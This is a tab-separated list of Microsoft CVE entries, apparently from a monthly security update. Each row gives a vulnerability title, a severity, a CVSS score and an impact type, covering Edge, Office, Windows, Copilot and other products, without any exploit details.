CVE-2026-50646	.NET Framework Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50649	.NET Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47304	.NET Security Feature Bypass Vulnerability	Important	8.1	No	No	SFB
CVE-2026-50528	.NET Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-50659	.NET Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-50526	.NET Tampering Vulnerability	Important	7	No	No	Tampering
CVE-2026-50682	Active Directory Denial of Service Vulnerability	Important	7.1	No	No	DoS
CVE-2026-55001	Active Directory Domain Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50647	Active Directory Federation Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50684	Active Directory Federation Server Spoofing Vulnerability	Important	4.8	No	No	Spoofing
CVE-2026-56170	ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-47300	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-47303	ASP.NET Core Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50652	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50653	Azure Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57969	Azure CycleCloud Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58279	Azure CycleCloud Elevation of Privilege Vulnerability	Important	6.5	No	No	EoP
CVE-2026-47632	Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50338	Azure Spring Apps Elevation of Privilege Vulnerability	Important	8.2	No	No	EoP
CVE-2026-50488	Clipboard User Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50491	Code Integrity DLL (ci.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50381	Composite Image File System driver (cimfs.sys) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50427	Content Delivery Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50692	Desktop Window Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58633	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58634	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50296	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50375	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-50353	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50493	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56643	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56644	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58629	DirectX Graphics Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49174	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-50495	DNS Client Tampering Vulnerability	Important	6.1	No	No	Tampering
CVE-2026-57088	Extensible Storage Engine (ESENT) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50663	Game: Age of Empires II: Definitive Edition Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-47282	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-41109	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-50510	GitHub Copilot Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49787	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50420	HTTP.sys Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49788	HTTP/2 Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50696	Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58617	M365 Copilot for iOS Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-58595	Microsoft Bing App for IOS Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-49162	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50305	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50361	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50466	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50458	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50658	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56178	Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50657	Microsoft Defender for Endpoint for Mac Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50329	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58541	Microsoft DWM Core Library Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58596	Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability	Important	8.3	No	No	EoP
CVE-2026-57991	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	7.4	No	No	Info
CVE-2026-58291	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57981	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57984	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57985	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.6	No	No	RCE
CVE-2026-57986	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57988	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.1	No	No	RCE
CVE-2026-57992	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58276	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-56645	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57974	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-57975	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58281	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58284	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58285	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58287	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58288	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.3	No	No	RCE
CVE-2026-58289	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	9	No	No	RCE
CVE-2026-58290	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58292	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58293	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58294	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-57983	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-58295	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.3	No	No	SFB
CVE-2026-58525	Microsoft Edge (Chromium-based) Security Feature Bypass Vulnerability	Important	8.2	No	No	SFB
CVE-2026-57987	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-58278	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-56646	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-57977	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-57993	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.4	No	No	Spoofing
CVE-2026-58282	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58283	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58286	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	8.1	No	No	Spoofing
CVE-2026-58298	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	7.2	No	No	Spoofing
CVE-2026-58524	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-58296	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58297	Microsoft Edge for Android Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-58300	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-58522	Microsoft Edge for Android Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-58299	Microsoft Edge for Android Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-58523	Microsoft Edge for Android Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Important	6.6	No	No	Info
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
